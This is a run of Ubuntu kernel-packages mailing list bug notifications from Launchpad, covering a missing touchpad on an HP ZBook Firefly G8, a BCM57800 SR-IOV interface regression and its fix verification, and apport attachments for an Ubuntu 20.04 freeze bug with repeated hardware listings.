_MarkForUpload: True dmi.bios.date: 05/17/2019 dmi.bios.vendor: AMI dmi.bios.version: F.25 dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: 83B9 dmi.board.vendor: HP dmi.board.version: 56.43 dmi.chassis.type: 31 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAMI:bvrF.25:bd05/17/2019:svnHP:pnHPSpectrex360Convertible13-ae0xx:pvr:rvnHP:rn83B9:rvr56.43:cvnHP:ct31:cvrChassisVersion: dmi.product.family: 103C_5335KV HP Spectre dmi.product.name: HP Spectre x360 Convertible 13-ae0xx dmi.product.sku: 2QH38EA#ABU dmi.sys.vendor: HP To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1842320/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to :
[Kernel-packages] [Bug 1942759] Re: No touchpad detected on 'HP ZBook Firefly G8 (1G3U1AV)' after fresh install
@herwich I haven't had any success with audio either, I even tried SOF drivers. Everything looks to be working on 20.04, so perhaps it is possible to backport some changes or identify driver changes between 18.04 and 20.04. However, I don't think I'll spend much more time on this. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-signed-hwe-5.4 in Ubuntu. https://bugs.launchpad.net/bugs/1942759 Title: No touchpad detected on 'HP ZBook Firefly G8 (1G3U1AV)' after fresh install Status in linux-signed-hwe-5.4 package in Ubuntu: Confirmed Bug description: Ubuntu 18.04.5 LTS The touchpad is not detected with or without the Logitech M705 mouse plugged in. cat /proc/bus/input/devices Outputs: I: Bus=0019 Vendor= Product=0003 Version= N: Name="Sleep Button" P: Phys=PNP0C0E/button/input0 S: Sysfs=/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0E:00/input/input0 U: Uniq= H: Handlers=kbd event0 B: PROP=0 B: EV=3 B: KEY=4000 0 0 I: Bus=0019 Vendor= Product=0005 Version= N: Name="Lid Switch" P: Phys=PNP0C0D/button/input0 S: Sysfs=/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0D:00/input/input1 U: Uniq= H: Handlers=event1 B: PROP=0 B: EV=21 B: SW=1 I: Bus=0019 Vendor= Product=0001 Version= N: Name="Power Button" P: Phys=PNP0C0C/button/input0 S: Sysfs=/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0C:00/input/input2 U: Uniq= H: Handlers=kbd event2 B: PROP=0 B: EV=3 B: KEY=10 0 I: Bus=0019 Vendor= Product=0001 Version= N: Name="Power Button" P: Phys=LNXPWRBN/button/input0 S: Sysfs=/devices/LNXSYSTM:00/LNXPWRBN:00/input/input3 U: Uniq= H: Handlers=kbd event3 B: PROP=0 B: EV=3 B: KEY=10 0 I: Bus=0011 Vendor=0001 Product=0001 Version=ab41 N: Name="AT Translated Set 2 keyboard" P: Phys=isa0060/serio0/input0 S: Sysfs=/devices/platform/i8042/serio0/input/input4 U: Uniq= H: Handlers=sysrq kbd event4 leds B: PROP=0 B: EV=120013 B: KEY=20 0 0 1500f0210 43803078f900d401 fedfffef fffe B: MSC=10 B: LED=7 I: Bus=0003 Vendor=046d Product=101b Version=0111 N: Name="Logitech M705" P: Phys=usb-:00:14.0-4/input2:1 S: Sysfs=/devices/pci:00/:00:14.0/usb3/3-4/3-4:1.2/0003:046D:C52B.0004/0003:046D:101B.0005/input/input14 U: Uniq=101b-fc-92-33-df H: Handlers=mouse0 event5 B: PROP=0 B: EV=17 B: KEY= 0 0 0 0 B: REL=1943 B: MSC=10 I: Bus=0019 Vendor= Product= Version= N: Name="HP Wireless hotkeys" P: Phys=hpq6001/input0 S: Sysfs=/devices/virtual/input/input15 U: Uniq= H: Handlers=rfkill kbd event6 B: PROP=0 B: EV=3 B: KEY=80 0 0 0 I: Bus=0019 Vendor= Product= Version= N: Name="Intel HID events" P: Phys= S: Sysfs=/devices/platform/INT33D5:00/input/input16 U: Uniq= H: Handlers=rfkill kbd event7 B: PROP=0 B: EV=13 B: KEY=810003 504000 1e29400020 0 B: MSC=10 I: Bus=0019 Vendor= Product= Version= N: Name="Intel HID 5 button array" P: Phys= S: Sysfs=/devices/platform/INT33D5:00/input/input17 U: Uniq= H: Handlers=kbd event8 B: PROP=0 B: EV=13 B: KEY=2 0 0 0 0 1 0 201c 0 B: MSC=10 I: Bus=0019 Vendor= Product= Version= N: Name="HP WMI hotkeys" P: Phys=wmi/input0 S: Sysfs=/devices/virtual/input/input18 U: Uniq= H: Handlers=kbd event9 B: PROP=0 B: EV=33 B: KEY=40 0 10007 2102400 0 0 B: MSC=10 B: SW=0 I: Bus=0003 Vendor=04f2 Product=b6bf Version=0013 N: Name="HP HD Camera: HP HD Camera" P: Phys=usb-:00:14.0-2/button S: Sysfs=/devices/pci:00/:00:14.0/usb3/3-2/3-2:1.0/input/input19 U: Uniq= H: Handlers=kbd event10 B: PROP=0 B: EV=3 B: KEY=10 0 0 0 I: Bus=0003 Vendor=04f2 Product=b6bf Version=0013 N: Name="HP HD Camera: HP IR Camera" P: Phys=usb-:00:14.0-2/button S: Sysfs=/devices/pci:00/:00:14.0/usb3/3-2/3-2:1.2/input/input20 U: Uniq= H: Handlers=kbd event11 B: PROP=0 B: EV=3 B: KEY=10 0 0 0 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-5.4.0-81-generic 5.4.0-81.91~18.04.1 ProcVersionSignature: Ubuntu 5.4.0-81.91~18.04.1-generic 5.4.128 Uname: Linux 5.4.0-81-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.24 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Mon Sep 6 11:37:52 2021 InstallationDate: Installed on 2021-09-06 (0 days ago) InstallationMedia: Ubuntu 18.04.5 LTS "Bionic Beaver" - Release amd64 (20200806.1) SourcePackage: linux-signed-hwe-5.4 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-signed-hwe-5.4/+bug/1942759/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to :
[Kernel-packages] [Bug 1945707] Re: BCM57800 SRIOV bug causes interfaces to disappear
I changed the tag for "verification-needed-focal" to "verification-done- focal", but I would like to add that the version of the kernel listed on the "focal" fix above is 5.8, when in fact the GA kernel for focal is 5.4. Kernel 5.8 has been an HWE kernel for focal in the past but even then it's already superceed by 5.11 and now 5.13. I think 5.4 is not mentioned here because the change came from upstream and not from a local patch. Anyway, 5.4.0-90 has the fix. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1945707 Title: BCM57800 SRIOV bug causes interfaces to disappear Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Committed Status in linux source package in Focal: Fix Committed Status in linux source package in Hirsute: Fix Released Bug description: [Impact] bnx2x driver won't add all devices ports/interfaces. [Test case] Boot system with bnx2x device and verify all ports/interfaces have been added. [Potential regression] bnx2x devices won't be properly probed. Devices won't be added or SR-IOV won't be correctly supported. --- Original Description --- Works with focal kernel 5.4.0-80 Broken with focal kernel 5.4.0-88 On a Dell R720 with the BCM57800 based 1/10 Gigabit Integrated Network cards Kernel 5.11.22-3 causes half of the network interfaces to disappear specifically the 1gb ports. Commands like "ip link show" and "dmesg" no longer show eno3 and eno4 nor any other interface name for these ports. I've read the note in the release notes and this does not appear to be a case of the interface changing names, the 3rd and 4th interface don't show up at all. The card is based on the BCM57800 chipset and has two SFP+ and two gigabit ports on the same card. Commands like "ip link show" no longer show ports 3 and 4. "lspci" still shows four items. dmesg only shows the first two interfaces. This problem seems to be known upstream, and seems to be a regression. More information at https://bugzilla.proxmox.com/show_bug.cgi?id=3558 This is being seen at a customer during an openstack install. It would be appreciated if a workaround could be provided or the fix could be prioritized. Using standard Focal 20.04 LTS kernel (it installs ok with the working kernel then upgrades to the non-working one -- this is done through maas and is difficult to control). Tested other kernels like hwe-* and all seem to be affected too. Client does not want to disable SRIOV on whole card and also cannot disable only ports 3/4 (the bios will not allow it). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1945707/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1945707] Re: BCM57800 SRIOV bug causes interfaces to disappear
I can confirm that this is fixed for focal GA kernel. Kernel 5.4.0-89 still have the problem and kernel 5.4.0-90 is fixed, I can see all nics on the card now. ** Tags removed: verification-needed-focal ** Tags added: verification-done-focal -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1945707 Title: BCM57800 SRIOV bug causes interfaces to disappear Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Committed Status in linux source package in Focal: Fix Committed Status in linux source package in Hirsute: Fix Released Bug description: [Impact] bnx2x driver won't add all devices ports/interfaces. [Test case] Boot system with bnx2x device and verify all ports/interfaces have been added. [Potential regression] bnx2x devices won't be properly probed. Devices won't be added or SR-IOV won't be correctly supported. --- Original Description --- Works with focal kernel 5.4.0-80 Broken with focal kernel 5.4.0-88 On a Dell R720 with the BCM57800 based 1/10 Gigabit Integrated Network cards Kernel 5.11.22-3 causes half of the network interfaces to disappear specifically the 1gb ports. Commands like "ip link show" and "dmesg" no longer show eno3 and eno4 nor any other interface name for these ports. I've read the note in the release notes and this does not appear to be a case of the interface changing names, the 3rd and 4th interface don't show up at all. The card is based on the BCM57800 chipset and has two SFP+ and two gigabit ports on the same card. Commands like "ip link show" no longer show ports 3 and 4. "lspci" still shows four items. dmesg only shows the first two interfaces. This problem seems to be known upstream, and seems to be a regression. More information at https://bugzilla.proxmox.com/show_bug.cgi?id=3558 This is being seen at a customer during an openstack install. It would be appreciated if a workaround could be provided or the fix could be prioritized. Using standard Focal 20.04 LTS kernel (it installs ok with the working kernel then upgrades to the non-working one -- this is done through maas and is difficult to control). Tested other kernels like hwe-* and all seem to be affected too. Client does not want to disable SRIOV on whole card and also cannot disable only ports 3/4 (the bios will not allow it). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1945707/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950086] WifiSyslog.txt
apport information ** Attachment added: "WifiSyslog.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538900/+files/WifiSyslog.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
[Kernel-packages] [Bug 1950086] RfKill.txt
apport information ** Attachment added: "RfKill.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538898/+files/RfKill.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1 power
[Kernel-packages] [Bug 1950086] acpidump.txt
apport information ** Attachment added: "acpidump.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538901/+files/acpidump.txt ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11
[Kernel-packages] [Bug 1950086] UdevDb.txt
apport information ** Attachment added: "UdevDb.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538899/+files/UdevDb.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1 power
[Kernel-packages] [Bug 1950086] ProcCpuinfo.txt
apport information ** Attachment added: "ProcCpuinfo.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538893/+files/ProcCpuinfo.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
[Kernel-packages] [Bug 1950086] Lsusb-v.txt
apport information ** Attachment added: "Lsusb-v.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538892/+files/Lsusb-v.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory 